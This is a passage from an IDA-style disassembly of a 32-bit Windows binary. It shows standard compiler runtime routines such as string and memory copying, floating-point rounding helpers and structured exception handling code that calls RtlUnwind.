mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CA74: ; CODE XREF: sub_41C9B0+E4j
; sub_41C9B0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41CA4C
loc_41CA7C: ; CODE XREF: sub_41C9B0+7Cj
; sub_41C9B0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41CA74
test dl, dl
jz short loc_41CA6A
test dh, dh
jz short loc_41CAC8
test edx, 0FF0000h
jz short loc_41CAB8
test edx, 0FF000000h
jnz short loc_41CA74
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CAB8: ; CODE XREF: sub_41C9B0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CAC8: ; CODE XREF: sub_41C9B0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41C9B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAE0 proc far ; CODE XREF: sub_40BE29+15p
; sub_40BE29+3Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CB00
cmp edi, eax
jb loc_41CC78
loc_41CB00: ; CODE XREF: sub_41CAE0+16j
test edi, 3
jnz short loc_41CB1C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CB3C
rep movsd
jmp off_41CC28[edx*4]
; ---------------------------------------------------------------------------
loc_41CB1C: ; CODE XREF: sub_41CAE0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CB34
and eax, 3
add ecx, eax
jmp dword ptr loc_41CB3C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CB34: ; CODE XREF: sub_41CAE0+46j
jmp dword ptr loc_41CC38[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CB3C: ; CODE XREF: sub_41CAE0+31j
; sub_41CAE0+8Ej ...
jmp off_41CBBC[ecx*4]
; ---------------------------------------------------------------------------
align 4
push eax
retf
; ---------------------------------------------------------------------------
dw 41h
dd offset loc_41CB7C
dd offset loc_41CBA0
; ---------------------------------------------------------------------------
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CB3C
rep movsd
jmp off_41CC28[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CB7C: ; DATA XREF: sub_41CAE0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CB3C
rep movsd
jmp off_41CC28[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CBA0: ; DATA XREF: sub_41CAE0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CB3C
rep movsd
jmp off_41CC28[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CBBC dd offset loc_41CC1F ; DATA XREF: sub_41CAE0:loc_41CB3Cr
dd offset loc_41CC0C
dd offset loc_41CC04
dd offset loc_41CBFC
dd offset loc_41CBF4
dd offset loc_41CBEC
dd offset loc_41CBE4
dd offset loc_41CBDC
; ---------------------------------------------------------------------------
loc_41CBDC: ; CODE XREF: sub_41CAE0:loc_41CB3Cj
; DATA XREF: sub_41CAE0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CBE4: ; CODE XREF: sub_41CAE0:loc_41CB3Cj
; DATA XREF: sub_41CAE0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CBEC: ; CODE XREF: sub_41CAE0:loc_41CB3Cj
; DATA XREF: sub_41CAE0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CBF4: ; CODE XREF: sub_41CAE0:loc_41CB3Cj
; DATA XREF: sub_41CAE0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CBFC: ; CODE XREF: sub_41CAE0:loc_41CB3Cj
; DATA XREF: sub_41CAE0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CC04: ; CODE XREF: sub_41CAE0:loc_41CB3Cj
; DATA XREF: sub_41CAE0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CC0C: ; CODE XREF: sub_41CAE0:loc_41CB3Cj
; DATA XREF: sub_41CAE0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CC1F: ; CODE XREF: sub_41CAE0:loc_41CB3Cj
; DATA XREF: sub_41CAE0:off_41CBBCo
jmp off_41CC28[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CC28 dd offset loc_41CC38 ; DATA XREF: sub_41CAE0+35r
; sub_41CAE0+92r ...
dd offset loc_41CC40
dd offset loc_41CC4C
dd offset loc_41CC60
; ---------------------------------------------------------------------------
loc_41CC38: ; CODE XREF: sub_41CAE0+35j
; sub_41CAE0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CC40: ; CODE XREF: sub_41CAE0+35j
; sub_41CAE0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CC4C: ; CODE XREF: sub_41CAE0+35j
; sub_41CAE0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CC60: ; CODE XREF: sub_41CAE0+35j
; sub_41CAE0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CC78: ; CODE XREF: sub_41CAE0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CCAC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CCA0
std
rep movsd
cld
jmp off_41CDC0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CCA0: ; CODE XREF: sub_41CAE0+1B1j
; sub_41CAE0+208j ...
neg ecx
jmp off_41CD70[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CCAC: ; CODE XREF: sub_41CAE0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CCC4
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CCC4+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CCC4: ; CODE XREF: sub_41CAE0+1D6j
; DATA XREF: sub_41CAE0+1DDr
jmp off_41CDC0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CCD7+1
dd offset loc_41CCF8
; ---------------------------------------------------------------------------
and ch, cl
inc ecx
loc_41CCD7: ; DATA XREF: sub_41CAE0+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CCA0
std
rep movsd
cld
jmp off_41CDC0[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CCF8: ; DATA XREF: sub_41CAE0+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CCA0
std
rep movsd
cld
jmp off_41CDC0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CCA0
std
rep movsd
cld
jmp off_41CDC0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CD74
dd offset loc_41CD7C
dd offset loc_41CD84
dd offset loc_41CD8C
dd offset loc_41CD94
dd offset loc_41CD9C
dd offset loc_41CDA4
off_41CD70 dd offset loc_41CDB7 ; DATA XREF: sub_41CAE0+1C2r
; ---------------------------------------------------------------------------
loc_41CD74: ; DATA XREF: sub_41CAE0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CD7C: ; DATA XREF: sub_41CAE0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CD84: ; DATA XREF: sub_41CAE0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CD8C: ; DATA XREF: sub_41CAE0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CD94: ; DATA XREF: sub_41CAE0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CD9C: ; DATA XREF: sub_41CAE0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CDA4: ; DATA XREF: sub_41CAE0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CDB7: ; CODE XREF: sub_41CAE0+1C2j
; DATA XREF: sub_41CAE0:off_41CD70o
jmp off_41CDC0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41CDC0 dd offset loc_41CDD0 ; DATA XREF: sub_41CAE0+1B7r
; sub_41CAE0:loc_41CCC4r ...
dd offset loc_41CDD8
dd offset loc_41CDE8
dd offset loc_41CDFC
; ---------------------------------------------------------------------------
loc_41CDD0: ; CODE XREF: sub_41CAE0+1B7j
; sub_41CAE0:loc_41CCC4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CDD8: ; CODE XREF: sub_41CAE0+1B7j
; sub_41CAE0:loc_41CCC4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CDE8: ; CODE XREF: sub_41CAE0+1B7j
; sub_41CAE0:loc_41CCC4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CDFC: ; CODE XREF: sub_41CAE0+1B7j
; sub_41CAE0:loc_41CCC4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CAE0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE15 proc near ; CODE XREF: sub_40BE71+40p
; sub_40F23F+23Dp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41B7B0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420D10
add esp, 10h
leave
retn
sub_41CE15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41CE49(double)
sub_41CE49 proc near ; CODE XREF: sub_40CE97+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43CF80
call sub_421FE9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41CECF
call sub_421EB1
pop ecx
test eax, eax
pop ecx
jle short loc_41CEB2
cmp eax, 2
jle short loc_41CEA4
cmp eax, 3
jnz short loc_41CEB2
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_4217C1
add esp, 10h
jmp short loc_41CF14
; ---------------------------------------------------------------------------
loc_41CEA4: ; CODE XREF: sub_41CE49+3Fj
push esi
push ebx
call sub_421FE9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41CF14
; ---------------------------------------------------------------------------
loc_41CEB2: ; CODE XREF: sub_41CE49+3Aj
; sub_41CE49+44j
fld [ebp+arg_0]
fadd dbl_428718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41CF0C
; ---------------------------------------------------------------------------
loc_41CECF: ; CODE XREF: sub_41CE49+2Fj
call sub_421E76
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41CEF2
loc_41CEE4: ; CODE XREF: sub_41CE49+ACj
push esi
push ebx
call sub_421FE9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41CF14
; ---------------------------------------------------------------------------
loc_41CEF2: ; CODE XREF: sub_41CE49+99j
test bl, 20h
jnz short loc_41CEE4
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41CF0C: ; CODE XREF: sub_41CE49+84j
call sub_421814
add esp, 1Ch
loc_41CF14: ; CODE XREF: sub_41CE49+59j
; sub_41CE49+67j ...
pop esi
pop ebx
leave
retn
sub_41CE49 endp
; =============== S U B R O U T I N E =======================================
sub_41CF18 proc near ; CODE XREF: sub_41BF54+9p
; sub_4220B2+21p
; DATA XREF: ...
call sub_41CF30
call sub_4220B2
mov dword_4DE080, eax
call sub_422062
fnclex
retn
sub_41CF18 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41CF30 proc near ; CODE XREF: sub_41CF18p
mov eax, offset sub_4224A0
mov off_43F594, offset sub_422135
mov off_43F590, eax
mov off_43F598, offset sub_42219B
mov off_43F59C, offset sub_4220DB
mov off_43F5A0, offset sub_422183
mov off_43F5A4, eax
retn
sub_41CF30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CF68 proc near ; CODE XREF: sub_40CE97+1Bp
; sub_40CE97+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41CF68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41CF8F(double)
sub_41CF8F proc near ; CODE XREF: sub_40CEE3+83p
; sub_40D86F+3AEp
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43CF98
call sub_421FE9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D015
call sub_421EB1
pop ecx
test eax, eax
pop ecx
jle short loc_41CFF8
cmp eax, 2
jle short loc_41CFEA
cmp eax, 3
jnz short loc_41CFF8
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_4217C1
add esp, 10h
jmp short loc_41D05A
; ---------------------------------------------------------------------------
loc_41CFEA: ; CODE XREF: sub_41CF8F+3Fj
push esi
push ebx
call sub_421FE9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D05A
; ---------------------------------------------------------------------------
loc_41CFF8: ; CODE XREF: sub_41CF8F+3Aj
; sub_41CF8F+44j
fld [ebp+arg_0]
fadd dbl_428718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41D052
; ---------------------------------------------------------------------------
loc_41D015: ; CODE XREF: sub_41CF8F+2Fj
call sub_421E76
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D038
loc_41D02A: ; CODE XREF: sub_41CF8F+ACj
push esi
push ebx
call sub_421FE9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D05A
; ---------------------------------------------------------------------------
loc_41D038: ; CODE XREF: sub_41CF8F+99j
test bl, 20h
jnz short loc_41D02A
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41D052: ; CODE XREF: sub_41CF8F+84j
call sub_421814
add esp, 1Ch
loc_41D05A: ; CODE XREF: sub_41CF8F+59j
; sub_41CF8F+67j ...
pop esi
pop ebx
leave
retn
sub_41CF8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D05E proc near ; CODE XREF: sub_422911+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41D05E endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41D092 proc near ; CODE XREF: sub_422AC2+199p
; sub_422C86+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D092 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D099 proc near ; CODE XREF: sub_422AC2+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D099 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D0A0 proc near ; CODE XREF: sub_41D252+5Cp
; sub_422911:loc_422942p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41D0C8
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_426FFC ; RtlUnwind
loc_41D0C8: ; DATA XREF: sub_41D0A0+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_41D0A0 endp
; ---------------------------------------------------------------------------
loc_41D0EF: ; CODE XREF: .packed:0042769Cj
; .packed:004276B9j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_422516
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D125 proc near ; CODE XREF: sub_42298C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41D179
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422D10
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41D125 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D179 proc near ; DATA XREF: sub_41D125+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_422516
add esp, 20h
pop ebp
retn
sub_41D179 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D19E proc near ; CODE XREF: sub_422758+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41D252
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41D224
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DE0DC
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41D224: ; DATA XREF: sub_41D19E+3Co
cmp [ebp+var_4], 0
jz short loc_41D241
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41D24A
; ---------------------------------------------------------------------------
loc_41D241: ; CODE XREF: sub_41D19E+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41D24A: ; CODE XREF: sub_41D19E+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41D19E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D252 proc near ; DATA XREF: sub_41D19E+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41D275
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41D2C2
; ---------------------------------------------------------------------------
loc_41D275: ; CODE XREF: sub_41D252+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_422516
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41D2B3
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41D0A0
loc_41D2B3: ; CODE XREF: sub_41D252+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41D2C2: ; CODE XREF: sub_41D252+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D2C7 proc near ; CODE XREF: sub_4225B1+C6p
; sub_422758+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41D31E
loc_41D2E5: ; CODE XREF: sub_41D2C7+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41D2EF
call sub_422DB2
loc_41D2EF: ; CODE XREF: sub_41D2C7+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41D304
cmp ecx, [eax+8]
jle short loc_41D309
loc_41D304: ; CODE XREF: sub_41D2C7+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41D315
loc_41D309: ; CODE XREF: sub_41D2C7+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41D315: ; CODE XREF: sub_41D2C7+40j
cmp [ebp+arg_4], 0
jge short loc_41D2E5
mov eax, [ebp+var_4]
loc_41D31E: ; CODE XREF: sub_41D2C7+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41D332
cmp esi, eax
jbe short loc_41D337
loc_41D332: ; CODE XREF: sub_41D2C7+65j
call sub_422DB2
loc_41D337: ; CODE XREF: sub_41D2C7+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41D2C7 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D344 proc near ; CODE XREF: sub_423D9C+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_41D35C
push [ebp+arg_0]
call sub_426FFC ; RtlUnwind
loc_41D35C: ; DATA XREF: sub_41D344+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D344 endp
; =============== S U B R O U T I N E =======================================
sub_41D364 proc near ; DATA XREF: sub_41D386+Ao
; sub_41D3EE+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41D385
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41D385: ; CODE XREF: sub_41D364+10j
retn
sub_41D364 endp
; =============== S U B R O U T I N E =======================================
sub_41D386 proc near ; CODE XREF: sub_422A32+Dp
; sub_423D9C+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
